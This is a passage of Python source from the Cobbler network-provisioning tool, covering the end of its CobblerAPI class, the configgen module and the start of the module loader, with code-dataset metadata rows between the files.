no_errors=no_errors, **kargs ) def find_system( self, name: str = "", return_list: bool = False, no_errors: bool = False, **kargs: "FIND_KWARGS", ) -> Optional[Union[List["system_module.System"], "system_module.System"]]: """ Find a system via a name or keys specified in the ``**kargs``. :param name: The name to search for. :param return_list: If only the first result or all results should be returned. :param no_errors: Silence some errors which would raise if this turned to False. :param kargs: Additional key-value pairs which may help in finding the desired objects. :return: A single object or a list of all search results. """ return self._collection_mgr.systems().find( name=name, return_list=return_list, no_errors=no_errors, **kargs ) def find_repo( self, name: str = "", return_list: bool = False, no_errors: bool = False, **kargs: "FIND_KWARGS", ) -> Optional[Union[List["repo.Repo"], "repo.Repo"]]: """ Find a repository via a name or keys specified in the ``**kargs``. :param name: The name to search for. :param return_list: If only the first result or all results should be returned. :param no_errors: Silence some errors which would raise if this turned to False. :param kargs: Additional key-value pairs which may help in finding the desired objects. :return: A single object or a list of all search results. """ return self._collection_mgr.repos().find( name=name, return_list=return_list, no_errors=no_errors, **kargs ) def find_image( self, name: str = "", return_list: bool = False, no_errors: bool = False, **kargs: "FIND_KWARGS", ) -> Optional[Union[List["image_module.Image"], "image_module.Image"]]: """ Find an image via a name or keys specified in the ``**kargs``. :param name: The name to search for. :param return_list: If only the first result or all results should be returned. :param no_errors: Silence some errors which would raise if this turned to False. :param kargs: Additional key-value pairs which may help in finding the desired objects. :return: A single object or a list of all search results. """ return self._collection_mgr.images().find( name=name, return_list=return_list, no_errors=no_errors, **kargs ) def find_menu( self, name: str = "", return_list: bool = False, no_errors: bool = False, **kargs: "FIND_KWARGS", ) -> Optional[Union[List["menu.Menu"], "menu.Menu"]]: """ Find a menu via a name or keys specified in the ``**kargs``. :param name: The name to search for. :param return_list: If only the first result or all results should be returned. :param no_errors: Silence some errors which would raise if this turned to False. :param kargs: Additional key-value pairs which may help in finding the desired objects. :return: A single object or a list of all search results. """ return self._collection_mgr.menus().find( name=name, return_list=return_list, no_errors=no_errors, **kargs ) # ========================================================================== @staticmethod def __since( mtime: float, collector: Callable[[], "Collection[ITEM]"], collapse: bool = False, ) -> List["ITEM"]: """ Called by get_*_since functions. This is an internal part of Cobbler. :param mtime: The timestamp which marks the gate if an object is included or not. :param collector: The list of objects to filter after mtime. :param collapse: Whether the object should be collapsed to a dict or not. If not the item objects are used for the list. :return: The list of objects which are newer then the given timestamp. """ results2: List["ITEM"] = [] item: "ITEM" for item in collector(): if item.mtime == 0 or item.mtime >= mtime: if not collapse: results2.append(item) else: results2.append(item.to_dict()) return results2 def get_distros_since( self, mtime: float, collapse: bool = False ) -> List["distro.Distro"]: """ Returns distros modified since a certain time (in seconds since Epoch) :param mtime: The timestamp which marks the gate if an object is included or not. :param collapse: collapse=True specifies returning a dict instead of objects. :return: The list of distros which are newer then the given timestamp. """ return self.__since(mtime, self.distros, collapse=collapse) def get_profiles_since( self, mtime: float, collapse: bool = False ) -> List["profile_module.Profile"]: """ Returns profiles modified since a certain time (in seconds since Epoch) :param mtime: The timestamp which marks the gate if an object is included or not. :param collapse: If True then this specifies that a list of dicts should be returned instead of a list of objects. :return: The list of profiles which are newer then the given timestamp. """ return self.__since(mtime, self.profiles, collapse=collapse) def get_systems_since( self, mtime: float, collapse: bool = False ) -> List["system_module.System"]: """ Return systems modified since a certain time (in seconds since Epoch) :param mtime: The timestamp which marks the gate if an object is included or not. :param collapse: If True then this specifies that a list of dicts should be returned instead of a list of objects. :return: The list of systems which are newer then the given timestamp. """ return self.__since(mtime, self.systems, collapse=collapse) def get_repos_since( self, mtime: float, collapse: bool = False ) -> List["repo.Repo"]: """ Return repositories modified since a certain time (in seconds since Epoch) :param mtime: The timestamp which marks the gate if an object is included or not. :param collapse: If True then this specifies that a list of dicts should be returned instead of a list of objects. :return: The list of repositories which are newer then the given timestamp. """ return self.__since(mtime, self.repos, collapse=collapse) def get_images_since( self, mtime: float, collapse: bool = False ) -> List["image_module.Image"]: """ Return images modified since a certain time (in seconds since Epoch) :param mtime: The timestamp which marks the gate if an object is included or not. :param collapse: If True then this specifies that a list of dicts should be returned instead of a list of objects. :return: The list of images which are newer then the given timestamp. """ return self.__since(mtime, self.images, collapse=collapse) def get_menus_since( self, mtime: float, collapse: bool = False ) -> List["menu.Menu"]: """ Return files modified since a certain time (in seconds since Epoch) :param mtime: The timestamp which marks the gate if an object is included or not. :param collapse: If True then this specifies that a list of dicts should be returned instead of a list of objects. :return: The list of files which are newer then the given timestamp. """ return self.__since(mtime, self.menus, collapse=collapse) # ========================================================================== @staticmethod def get_signatures() -> Dict[str, Any]: """ This returns the local signature cache. :return: The dict containing all signatures. """ return signatures.signature_cache def signature_update(self) -> None: """ Update all signatures from the URL specified in the settings. """ try: url = self.settings().signature_url dlmgr = download_manager.DownloadManager() # write temp json file with tempfile.NamedTemporaryFile() as tmpfile: sigjson = dlmgr.urlread(url) tmpfile.write(sigjson.text.encode()) tmpfile.flush() self.logger.debug( "Successfully got file from %s", self.settings().signature_url ) # test the import without caching it try: signatures.load_signatures(tmpfile.name, cache=False) except Exception: self.logger.error( "Downloaded signatures failed test load (tempfile = %s)", tmpfile.name, ) # rewrite the real signature file and import it for real with open( self.settings().signature_path, "w", encoding="UTF-8" ) as signature_fd: signature_fd.write(sigjson.text) signatures.load_signatures(self.settings().signature_path) self.clean_items_cache(self.get_signatures()) except Exception: utils.log_exc() # ========================================================================== def dump_vars( self, obj: "item_base.BootableItem", formatted_output: bool = False, remove_dicts: bool = False, ) -> Union[Dict[str, Any], str]: """ Dump all known variables related to that object. :param obj: The object for which the variables should be dumped. :param formatted_output: If True the values will align in one column and be pretty printed for cli example. :param remove_dicts: If True the dictionaries will be put into str form. :return: A dictionary with all the information which could be collected. """ return obj.dump_vars(formatted_output, remove_dicts) # ========================================================================== def auto_add_repos(self) -> None: """ Import any repos this server knows about and mirror them. Run ``cobbler reposync`` to apply the changes. Credit: Seth Vidal. :raises ImportError """ self.log("auto_add_repos") try: import dnf # type: ignore except ImportError as error: raise ImportError("dnf is not installed") from error base = dnf.Base() # type: ignore base.read_all_repos() # type: ignore basearch = base.conf.substitutions["basearch"] # type: ignore for repository in base.repos.iter_enabled(): # type: ignore auto_name: str = repository.id + "-" + base.conf.releasever + "-" + basearch # type: ignore if self.find_repo(auto_name) is None: # type: ignore cobbler_repo = self.new_repo() cobbler_repo.name = auto_name cobbler_repo.breed = enums.RepoBreeds.YUM cobbler_repo.arch = basearch cobbler_repo.comment = repository.name # type: ignore baseurl = repository.baseurl # type: ignore metalink = repository.metalink # type: ignore mirrorlist = repository.mirrorlist # type: ignore if metalink is not None: mirror = metalink # type: ignore mirror_type = enums.MirrorType.METALINK elif mirrorlist is not None: mirror = mirrorlist # type: ignore mirror_type = enums.MirrorType.MIRRORLIST elif len(baseurl) > 0: # type: ignore mirror = baseurl[0] # type: ignore mirror_type = enums.MirrorType.BASEURL else: mirror = "" mirror_type = enums.MirrorType.NONE cobbler_repo.mirror = mirror cobbler_repo.mirror_type = mirror_type self.log(f"auto repo adding: {auto_name}") self.add_repo(cobbler_repo) else: self.log(f"auto repo adding: {auto_name} - exists") # ========================================================================== def get_repo_config_for_profile(self, obj: "BaseItem") -> str: """ Get the repository configuration for the specified profile :param obj: The profile to return the configuration for. :return: The repository configuration as a string. """ return self.yumgen.get_yum_config(obj, True) def get_repo_config_for_system(self, obj: "BaseItem") -> str: """ Get the repository configuration for the specified system. :param obj: The system to return the configuration for. :return: The repository configuration as a string. """ return self.yumgen.get_yum_config(obj, False) # ========================================================================== def get_template_file_for_profile(self, obj: "BootableItem", path: str) -> str: """ Get the template for the specified profile. :param obj: The object which is related to that template. :param path: The path to the template. :return: The template as in its string representation. """ template_results = self.tftpgen.write_templates(obj, False, path) if path in template_results: return template_results[path] return "# template path not found for specified profile" def get_template_file_for_system(self, obj: "BootableItem", path: str) -> str: """ Get the template for the specified system. :param obj: The object which is related to that template. :param path: The path to the template. :return: The template as in its string representation. """ template_results = self.tftpgen.write_templates(obj, False, path) if path in template_results: return template_results[path] return "# template path not found for specified system" # ========================================================================== def generate_ipxe(self, profile: str, image: str, system: str) -> str: """ Generate the ipxe configuration files. The system wins over the profile. Profile and System win over Image. :param profile: The profile to return the configuration for. :param image: The image to return the configuration for. :param system: The system to return the configuration for. :return: The generated configuration file. """ self.log("generate_ipxe") data = "" if profile is None and image is None and system is None: # type: ignore boot_menu = self.tftpgen.make_pxe_menu() if "ipxe" in boot_menu: data = boot_menu["ipxe"] if not isinstance(data, str): raise ValueError("ipxe boot menu didn't have right type!") elif system: data = self.tftpgen.generate_ipxe("system", system) elif profile: data = self.tftpgen.generate_ipxe("profile", profile) elif image: data = self.tftpgen.generate_ipxe("image", image) return data # ========================================================================== def generate_bootcfg(self, profile: str = "", system: str = "") -> str: """ Generate a boot configuration. The system wins over the profile. :param profile: The profile to return the configuration for. :param system: The system to return the configuration for. :return: The generated configuration file. """ self.log("generate_bootcfg") if system: return self.tftpgen.generate_bootcfg("system", system) return self.tftpgen.generate_bootcfg("profile", profile) # ========================================================================== def generate_script( self, profile: Optional[str], system: Optional[str], name: str ) -> str: """ Generate an autoinstall script for the specified profile or system. The system wins over the profile. :param profile: The profile name to generate the script for. :param system: The system name to generate the script for. :param name: The name of the script which should be generated. Must only contain alphanumeric characters, dots and underscores. :return: The generated script or an error message. """ self.log("generate_script") if system: return self.tftpgen.generate_script("system", system, name) if profile: return self.tftpgen.generate_script("profile", profile, name) return "" # ========================================================================== def check(self) -> List[str]: """ See if all preqs for network booting are valid. This returns a list of strings containing instructions on things to correct. An empty list means there is nothing to correct, but that still doesn't mean there are configuration errors. This is mainly useful for human admins, who may, for instance, forget to properly set up their TFTP servers for PXE, etc. :return: A list of things to address. """ self.log("check") action_check = check.CobblerCheck(self) return action_check.run() # ========================================================================== def validate_autoinstall_files(self) -> None: """ Validate if any of the autoinstallation files are invalid and if yes report this. """ self.log("validate_autoinstall_files") autoinstall_mgr = autoinstall_manager.AutoInstallationManager(self) autoinstall_mgr.validate_autoinstall_files() # ========================================================================== def sync_systems(self, systems: List[str], verbose: bool = False) -> None: """ Take the values currently written to the configuration files in /etc, and /var, and build out the information tree found in /tftpboot. Any operations done in the API that have not been saved with serialize() will NOT be synchronized with this command. :param systems: List of specified systems that needs to be synced :param verbose: If the action should be just logged as needed or (if True) as much verbose as possible. """ self.logger.info("sync_systems") if not ( systems and isinstance(systems, list) # type: ignore and all(isinstance(sys_name, str) for sys_name in systems) # type: ignore ): if len(systems) < 1: self.logger.debug( "sync_systems needs at least one system to do something. Bailing out early." ) return raise TypeError("Systems must be a list of one or more strings.") self.logger.info( "Waiting sync_lock to be available to perform the sync action (this might take some time)" ) with utils.filelock("/var/lib/cobbler/sync_lock"): sync_obj = self.get_sync(verbose=verbose) sync_obj.run_sync_systems(systems) # ========================================================================== def sync(self, verbose: bool = False, what: Optional[List[str]] = None) -> None: """ Take the values currently written to the configuration files in /etc, and /var, and build out the information tree found in /tftpboot. Any operations done in the API that have not been saved with serialize() will NOT be synchronized with this command. :param verbose: If the action should be just logged as needed or (if True) as much verbose as possible. :param what: List of strings what services to sync (e.g. dhcp and/or dns). Empty list for full sync. """ # Empty what: Full sync if not what: self.logger.info("syncing all") self.logger.info( "Waiting sync_lock to be available to perform the sync action (this might take some time)" ) with utils.filelock("/var/lib/cobbler/sync_lock"): sync_obj = self.get_sync(verbose=verbose) sync_obj.run() return # Non empty what: Specific sync if not isinstance(what, list): # type: ignore raise TypeError("'what' needs to be of type list!") if "dhcp" in what: self.sync_dhcp() if "dns" in what: self.sync_dns() # ========================================================================== def sync_dns(self) -> None: """ Only build out the DNS configuration. """ if not self.settings().manage_dns: self.logger.info('"manage_dns" not set. Skipping DNS sync.') return self.logger.info("sync_dns") dns_module = self.get_module_from_file("dns", "module", "managers.bind") dns = dns_module.get_manager(self) self.logger.info( "Waiting sync_lock to be available to perform the sync action (this might take some time)" ) with utils.filelock("/var/lib/cobbler/sync_lock"): dns.sync() # ========================================================================== def sync_dhcp(self) -> None: """ Only build out the DHCP configuration. """ if not self.settings().manage_dhcp: self.logger.info('"manage_dhcp" not set. Skipping DHCP sync.') return self.logger.info("sync_dhcp") dhcp_module = self.get_module_from_file("dhcp", "module", "managers.isc") dhcp = dhcp_module.get_manager(self) self.logger.info( "Waiting sync_lock to be available to perform the sync action (this might take some time)" ) with utils.filelock("/var/lib/cobbler/sync_lock"): dhcp.sync() # ========================================================================== def get_sync(self, verbose: bool = False) -> "sync_module.CobblerSync": """ Get a Cobbler Sync object which may be executed through the call of ``obj.run()``. :param verbose: If the action should be just logged as needed or (if True) as much verbose as possible. :return: An instance of the CobblerSync class to execute the sync with. """ if not isinstance(verbose, bool): # type: ignore raise TypeError("get_sync: verbose parameter needs to be of type bool!") dhcp = self.get_module_from_file("dhcp", "module", "managers.isc").get_manager( self ) dns = self.get_module_from_file("dns", "module", "managers.bind").get_manager( self ) tftpd = self.get_module_from_file( "tftpd", "module", "managers.in_tftpd", ).get_manager(self) return sync_module.CobblerSync( self, dhcp=dhcp, dns=dns, tftpd=tftpd, verbose=verbose ) # ========================================================================== def reposync( self, name: Optional[str] = None, tries: int = 1, nofail: bool = False ) -> None: """ Take the contents of ``/var/lib/cobbler/repos`` and update them -- or create the initial copy if no contents exist yet. :param name: The name of the repository to run reposync for. :param tries: How many tries should be executed before the action fails. :param nofail: If True then the action will fail, otherwise the action will just be skipped. This respects the ``tries`` parameter. """ self.log("reposync", [name]) action_reposync = reposync.RepoSync(self, tries=tries, nofail=nofail) action_reposync.run(name) # ========================================================================== def status(self, mode: str) -> Union[Dict[Any, Any], str]: """ Get the status of the current Cobbler instance. :param mode: "text" or anything else. Meaning whether the output is thought for the terminal or not. :return: The current status of Cobbler. """ statusifier = status.CobblerStatusReport(self, mode) return statusifier.run() # ========================================================================== def import_tree( self, mirror_url: str, mirror_name: str, network_root: Optional[str] = None, autoinstall_file: Optional[str] = None, rsync_flags: Optional[str] = None, arch: Optional[str] = None, breed: Optional[str] = None, os_version: Optional[str] = None, ) -> bool: """ Automatically import a directory tree full of distribution files. :param mirror_url: Can be a string that represents a path, a user@host syntax for SSH, or an rsync:// address. If mirror_url is a filesystem path and mirroring is not desired, set network_root to something like "nfs://path/to/mirror_url/root" :param mirror_name: The name of the mirror. :param network_root: the remote path (nfs/http/ftp) for the distro files :param autoinstall_file: user-specified response file, which will override the default :param rsync_flags: Additional flags that will be passed to the rsync call that will sync everything to the Cobbler webroot. :param arch: user-specified architecture :param breed: user-specified breed :param os_version: user-specified OS version """ distro_importer = importer.Importer(api=self) return distro_importer.run( mirror_url, mirror_name, network_root, autoinstall_file, rsync_flags, arch, breed, os_version, ) # ========================================================================== def acl_config( self, adduser: Optional[str] = None, addgroup: Optional[str] = None, removeuser: Optional[str] = None, removegroup: Optional[str] = None, ) -> None: """ Configures users/groups to run the Cobbler CLI as non-root. Pass in only one option at a time. Powers ``cobbler aclconfig``. :param adduser: :param addgroup: :param removeuser: :param removegroup: """ action_acl = acl.AclConfig(self) action_acl.run( adduser=adduser, addgroup=addgroup, removeuser=removeuser, removegroup=removegroup, ) # ========================================================================== def serialize(self) -> None: """ Save the cobbler_collections to disk. Cobbler internal use only. """ self._collection_mgr.serialize() def deserialize(self) -> None: """ Load cobbler_collections from disk. Cobbler internal use only. """ return self._collection_mgr.deserialize() def deserialize_item(self, obj: "BaseItem") -> Dict[str, Any]: """ Load cobbler item from disk. Cobbler internal use only. """ return self._collection_mgr.deserialize_one_item(obj) # ========================================================================== def get_module_by_name(self, module_name: str) -> Optional[ModuleType]: """ Returns a loaded Cobbler module named 'name', if one exists, else None. Cobbler internal use only. :param module_name: :return: """ return self.module_loader.get_module_by_name(module_name) def get_module_from_file( self, section: str, name: str, fallback: Optional[str] = None ) -> ModuleType: """ Looks in ``/etc/cobbler/settings.yaml`` for a section called 'section' and a key called 'name', and then returns the module that corresponds to the value of that key. Cobbler internal use only. :param section: The section to look at. :param name: The name of the module to retrieve :param fallback: The default module in case the requested one is not found. :return: The requested Python Module. """ return self.module_loader.get_module_from_file(section, name, fallback) def get_module_name_from_file( self, section: str, name: str, fallback: Optional[str] = None ) -> str: """ Looks up a module the same as ``get_module_from_file`` but returns the module name rather than the module itself. :param section: :param name: :param fallback: :return: """ return self.module_loader.get_module_name(section, name, fallback) def get_modules_in_category(self, category: str) -> List[ModuleType]: """ Returns all modules in a given category, for instance "serializer", or "cli". Cobbler internal use only. :param category: The category to check. :return: The list of modules. """ return self.module_loader.get_modules_in_category(category) # ========================================================================== def authenticate(self, user: str, password: str) -> bool: """ (Remote) access control. This depends on the chosen authentication module. Cobbler internal use only. :param user: The username to check for authentication. :param password: The password to check for authentication. :return: Whether the action succeeded or not. """ return_code: bool = self.authn.authenticate(self, user, password) self.log("authenticate", [user, str(return_code)]) return return_code def authorize( self, user: str, resource: str, arg1: Optional[str] = None, arg2: Any = None ) -> int: """ (Remote) access control. This depends on the chosen authorization module. Cobbler internal use only. :param user: The username to check for authorization. :param resource: The type of resource which should be checked for access from the supplied user. :param arg1: The actual resource to check for authorization. :param arg2: Not known what this parameter does exactly. :return: The return code of the action. """ return_code: int = self.authz.authorize(self, user, resource, arg1, arg2) self.log( "authorize", [user, resource, arg1, arg2, str(return_code)], debug=True ) return return_code # ========================================================================== def build_iso( self, iso: str = "autoinst.iso", profiles: Optional[List[str]] = None, systems: Optional[List[str]] = None, buildisodir: str = "", distro_name: str = "", standalone: bool = False, airgapped: bool = False, source: str = "", exclude_dns: bool = False, xorrisofs_opts: str = "", ) -> None: r""" Build an iso image which may be network bootable or not. :param iso: The name of the ISO. Defaults to ``autoinst.iso``. :param profiles: Use these profiles only :param systems: Use these systems only :param buildisodir: This overwrites the directory from the settings in which the iso is built in. :param distro_name: Used with ``--standalone`` and ``--airgapped`` to create a distro-based ISO including all associated. :param standalone: This means that no network connection is needed to install the generated iso. :param airgapped: This option implies ``standalone=True``. :param source: If the iso should be offline available this is the path to the sources of the image. :param exclude_dns: Whether the repositories have to be locally available or the internet is reachable. :param xorrisofs_opts: ``xorrisofs`` options to include additionally. """ if not isinstance(standalone, bool): # type: ignore raise TypeError('Argument "standalone" needs to be of type bool!') if not isinstance(airgapped, bool): # type: ignore raise TypeError('Argument "airgapped" needs to be of type bool!') if airgapped: standalone = True Builder = StandaloneBuildiso if standalone else NetbootBuildiso Builder(self).run( iso=iso, buildisodir=buildisodir, profiles=profiles, xorrisofs_opts=xorrisofs_opts, distro_name=distro_name, airgapped=airgapped, source=source, systems=systems, exclude_dns=exclude_dns, ) # ========================================================================== def hardlink(self) -> int: """ Hardlink all files where this is possible to improve performance. :return: The return code of the subprocess call which actually hardlinks the files. """ linker = hardlink.HardLinker(api=self) return linker.run() # ========================================================================== def replicate( self, cobbler_master: Optional[str] = None, port: str = "80", distro_patterns: str = "", profile_patterns: str = "", system_patterns: str = "", repo_patterns: str = "", image_patterns: str = "", prune: bool = False, omit_data: bool = False, sync_all: bool = False, use_ssl: bool = False, ) -> None: """ Pull down data/configs from a remote Cobbler server that is a master to this server. :param cobbler_master: The hostname/URL of the other Cobbler server :param port: The port to use for the replication task. :param distro_patterns: The pattern of distros which should be synced. :param profile_patterns: The pattern of profiles which should be synced. :param system_patterns: The pattern of systems which should be synced. :param repo_patterns: The pattern of repositories which should be synced. :param image_patterns: The pattern of images which should be synced. :param prune: Whether the object not on the master should be removed or not. :param omit_data: If the data downloaded by the current Cobbler server should be rsynced to the destination server. :param sync_all: This parameter behaves similarly to a dry run argument. If True then everything will executed, if False then only some things are synced. :param use_ssl: Whether SSL should be used (True) or not (False). """ replicator = replicate.Replicate(self) replicator.run( cobbler_master=cobbler_master, port=port, distro_patterns=distro_patterns, profile_patterns=profile_patterns, system_patterns=system_patterns, repo_patterns=repo_patterns, image_patterns=image_patterns, prune=prune, omit_data=omit_data, sync_all=sync_all, use_ssl=use_ssl, ) # ========================================================================== def power_system( self, system: "system_module.System", power_operation: str, user: Optional[str] = None, password: Optional[str] = None, ) -> Optional[bool]: """ Power on / power off / get power status /reboot a system. :param system: Cobbler system :param power_operation: power operation. Valid values: on, off, reboot, status :param user: power management user :param password: power management password :return: bool if operation was successful """ power_mgr = power_manager.PowerManager(self) if power_operation == "on": power_mgr.power_on(system, user=user, password=password) elif power_operation == "off": power_mgr.power_off(system, user=user, password=password) elif power_operation == "status": return power_mgr.get_power_status(system, user=user, password=password) elif power_operation == "reboot": power_mgr.reboot(system, user=user, password=password) else: utils.die( f"invalid power operation '{power_operation}', expected on/off/status/reboot" ) return None # ========================================================================== def clear_logs(self, system: "system_module.System") -> None: """ Clears console and anamon logs for system :param system: The system to clear logs of. """ log.LogTool(system, self).clear() # ========================================================================== def get_valid_obj_boot_loaders( self, obj: Union["distro.Distro", "image_module.Image"] ) -> List[str]: """ Return the list of valid boot loaders for the object :param obj: The object for which the boot loaders should be looked up. :return: Get a list of all valid boot loaders. """ return obj.supported_boot_loaders # ========================================================================== def mkloaders(self) -> None: """ Create the GRUB installer images via this API call. It utilizes ``grub2-mkimage`` behind the curtain. """ action = mkloaders.MkLoaders(self) action.run() # ========================================================================== def input_string_or_list_no_inherit( self, options: Optional[Union[str, List[Any]]] ) -> List[Any]: """ .. seealso:: :func:`~cobbler.utils.input_converters.input_string_or_list_no_inherit` """ return input_converters.input_string_or_list_no_inherit(options) def input_string_or_list( self, options: Optional[Union[str, List[Any]]] ) -> Union[List[Any], str]: """ .. seealso:: :func:`~cobbler.utils.input_converters.input_string_or_list` """ return input_converters.input_string_or_list(options) def input_string_or_dict( self, options: Union[str, List[Any], Dict[Any, Any]], allow_multiples: bool = True, ) -> Union[str, Dict[Any, Any]]: """ .. seealso:: :func:`~cobbler.utils.input_converters.input_string_or_dict` """ return input_converters.input_string_or_dict( options, allow_multiples=allow_multiples ) def input_string_or_dict_no_inherit( self, options: Union[str, List[Any], Dict[Any, Any]], allow_multiples: bool = True, ) -> Dict[Any, Any]: """ .. seealso:: :func:`~cobbler.utils.input_converters.input_string_or_dict_no_inherit` """ return input_converters.input_string_or_dict_no_inherit( options, allow_multiples=allow_multiples ) def input_boolean(self, value: Union[str, bool, int]) -> bool: """ .. seealso:: :func:`~cobbler.utils.input_converters.input_boolean` """ return input_converters.input_boolean(value) def input_int(self, value: Union[str, int, float]) -> int: """ .. seealso:: :func:`~cobbler.utils.input_converters.input_int` """ return input_converters.input_int(value) def get_tftp_file(self, path: str, offset: int, size: int) -> Tuple[bytes, int]: """ Generate and return a file for a TFTP client. :param path: Path to file :param offset: Offset of the requested chunk in the file :param size: Size of the requested chunk in the file :return: The requested chunk and the length of the whole file """ normalized_path = Path(os.path.normpath(os.path.join("/", path))) return self.tftpgen.generate_tftp_file(normalized_path, offset, size)
93,550
Python
.py
2,056
35.715467
120
0.591058
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,083
configgen.py
cobbler_cobbler/cobbler/configgen.py
""" configgen.py: Generate configuration data. module for generating configuration manifest using autoinstall_meta data and templates for a given system (hostname) """ # SPDX-License-Identifier: GPL-2.0-or-later # SPDX-FileCopyrightText: Copyright 2010 Kelsey Hightower <kelsey.hightower@gmail.com> import json import string from typing import TYPE_CHECKING, Any, Dict, List, Union from cobbler import utils if TYPE_CHECKING: from cobbler.api import CobblerAPI from cobbler.enums import ResourceAction # FIXME: This is currently getting the blendered data. Make use of the object and only process the required data. # FIXME: Obsolete this class. All methods are wrappers or tailcalls except gen_config_data and this can be integrated # somewhere else (educated guess: System or Koan directly). class ConfigGen: """ Generate configuration data for Cobbler's management resource "repos". Mainly used by Koan to configure systems. """ def __init__(self, cobbler_api: "CobblerAPI", hostname: str): """ Constructor. Requires a Cobbler API handle. :param hostname: The hostname to run config-generation for. """ # FIXME: This should work via the system name or system record and if that doesn't exist it should not fail. self.hostname = hostname self.__api = cobbler_api target_system = self.__api.find_system(hostname=self.hostname) if target_system is None or isinstance(target_system, list): raise ValueError("The specified hostname did not exist or was ambigous!") self.system = target_system # This below var needs a dict but the method may possibly return an empty str. self.host_vars = self.get_cobbler_resource("autoinstall_meta") # ---------------------------------------------------------------------- def resolve_resource_var(self, string_data: Union["ResourceAction", str]) -> str: """ Substitute variables in strings with data from the ``autoinstall_meta`` dictionary of the system. :param string_data: The template which will then be substituted by the variables in this class. :return: A str with the substituted data. If the host_vars are not of type dict then this will return an empty str. :raises KeyError: When the autoinstall_meta variable does not contain the required Keys in the dict. """ if not isinstance(self.host_vars, dict): return "" return string.Template(str(string_data)).substitute(self.host_vars) # ---------------------------------------------------------------------- def get_cobbler_resource( self, resource_key: str ) -> Union[List[Any], str, Dict[Any, Any]]: """ Wrapper around Cobbler blender method :param resource_key: Not known what this actually is doing. :return: The blendered data. In some cases this is a str, in others it is a list or it might be a dict. In case the key is not found it will return an empty string. """ system_resource = utils.blender(self.__api, False, self.system) if resource_key not in system_resource: return "" return system_resource[resource_key] # ---------------------------------------------------------------------- def gen_config_data(self) -> Dict[Any, Any]: """ Generate configuration data for repos. :return: A dict which has all config data in it. """ config_data = { "repo_data": self.__api.get_repo_config_for_system(self.system), "repos_enabled": self.get_cobbler_resource("repos_enabled"), } return config_data # ---------------------------------------------------------------------- def gen_config_data_for_koan(self) -> str: """ Encode configuration data. Return json object for Koan. :return: A json string for koan. """ # TODO: This can be merged with the above method if we want to obsolete this class. If not, we need to create # helper objects instead of just having a nested dictionary. json_config_data = json.JSONEncoder(sort_keys=True, indent=4).encode( self.gen_config_data() ) return json_config_data
4,361
Python
.py
84
44.333333
119
0.631171
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,084
module_loader.py
cobbler_cobbler/cobbler/module_loader.py
""" Module loader, adapted for Cobbler usage """ # SPDX-License-Identifier: GPL-2.0-or-later # SPDX-FileCopyrightText: Copyright 2006-2009, Red Hat, Inc and Others # SPDX-FileCopyrightText: Adrian Likins <alikins@redhat.com> # SPDX-FileCopyrightText: Michael DeHaan <michael.dehaan AT gmail> import glob import logging import os from importlib import import_module from types import ModuleType from typing import TYPE_CHECKING, Dict, List, Optional, Tuple from cobbler.cexceptions import CX from cobbler.utils import log_exc # add cobbler/modules to python path import cobbler # isort: skip if TYPE_CHECKING: from cobbler.api import CobblerAPI class ModuleLoader: """ Class for dynamically loading Cobbler Plugins on startup """ def __init__(self, api: "CobblerAPI", module_path: str = ""): """ Constructor to initialize the ModuleLoader class. :param api: CobblerAPI :param module_path: The path which should be considered as the root module path. If this an empty string, try to auto-detect the path. """ self.logger = logging.getLogger() self.mod_path = os.path.join( os.path.abspath(os.path.dirname(cobbler.__file__)), "modules" ) if module_path: self.mod_path = module_path self.module_cache: Dict[str, ModuleType] = {} self.modules_by_category: Dict[str, Dict[str, ModuleType]] = {} self.api = api def load_modules( self, ) -> Tuple[Dict[str, ModuleType], Dict[str, Dict[str, ModuleType]]]: """ Load the modules from the path handed to the function into Cobbler. :return: Two dictionary's with the dynamically loaded modules. """ filenames = glob.glob(f"{self.mod_path}/*.py") filenames += glob.glob(f"{self.mod_path}/*.pyc") filenames += glob.glob(f"{self.mod_path}/*.pyo") # Allow recursive modules filenames += glob.glob(f"{self.mod_path}/**/*.py") filenames += glob.glob(f"{self.mod_path}/**/*.pyc") filenames += glob.glob(f"{self.mod_path}/**/*.pyo") for filename in filenames: basename = filename.replace(self.mod_path, "") modname = "" if "__pycache__" in basename or "__init__.py" in basename: continue if basename[0] == "/": basename = basename[1:] basename = basename.replace("/", ".") if basename[-3:] == ".py": modname = basename[:-3] elif basename[-4:] in [".pyc", ".pyo"]: modname = basename[:-4] self.__import_module(modname) return self.module_cache, self.modules_by_category def __import_module(self, modname: str) -> None: """ Import a module which is not part of the core functionality of Cobbler. :param modname: The name of the module. """ try: blip = import_module(f"cobbler.modules.{modname}") if not hasattr(blip, "register"): self.logger.debug( "%s.%s is not a proper module", self.mod_path, modname ) return category = blip.register() if category: self.module_cache[modname] = blip if category not in self.modules_by_category: self.modules_by_category[category] = {} self.modules_by_category[category][modname] = blip except Exception: self.logger.info("Exception raised when loading module %s", modname) log_exc() def get_module_by_name(self, name: str) -> Optional[ModuleType]: """ Get a module by its name. The category of the module is not needed. :param name: The name of the module. :return: The module asked by the function parameter. """ return self.module_cache.get(name, None) def get_module_name( self, category: str, field: str, fallback_module_name: Optional[str] = None ) -> str: """ Get module name from the settings. :param category: Field category in configuration file. :param field: Field in configuration file :param fallback_module_name: Default value used if category/field is not found in configuration file :raises FileNotFoundError: If unable to find configuration file. :raises ValueError: If the category does not exist or the field is empty. :raises CX: If the field could not be read and no fallback_module_name was given. :returns: The name of the module. """ # FIXME: We can't enabled this check since it is to strict atm. # if category not in MODULES_BY_CATEGORY: # raise ValueError("category must be one of: %s" % MODULES_BY_CATEGORY.keys()) if field.isspace(): raise ValueError('field cannot be empty. Did you mean "module" maybe?') try: value = self.api.settings().modules.get(category, {}).get("module") if value is None: raise ModuleNotFoundError("Requested module could not be retrieved") except Exception as exception: if fallback_module_name is None: raise CX( f"Cannot find config file setting for: {category}.{field}" ) from exception value = fallback_module_name self.logger.warning( 'Requested module "%s.%s" not found. Using fallback module: "%s"', category, field, value, ) return value def get_module_from_file( self, category: str, field: str, fallback_module_name: Optional[str] = None ) -> ModuleType: """ Get Python module, based on name defined in configuration file :param category: field category in configuration file :param field: field in configuration file :param fallback_module_name: default value used if category/field is not found in configuration file :raises CX: If unable to load Python module :returns: A Python module. """ module_name = self.get_module_name(category, field, fallback_module_name) requested_module = self.module_cache.get(module_name, None) if requested_module is None: raise CX(f"Failed to load module for {category}.{field}") return requested_module def get_modules_in_category(self, category: str) -> List[ModuleType]: """ Return all modules of a module category. :param category: The module category. :return: A list of all modules of that category. Returns 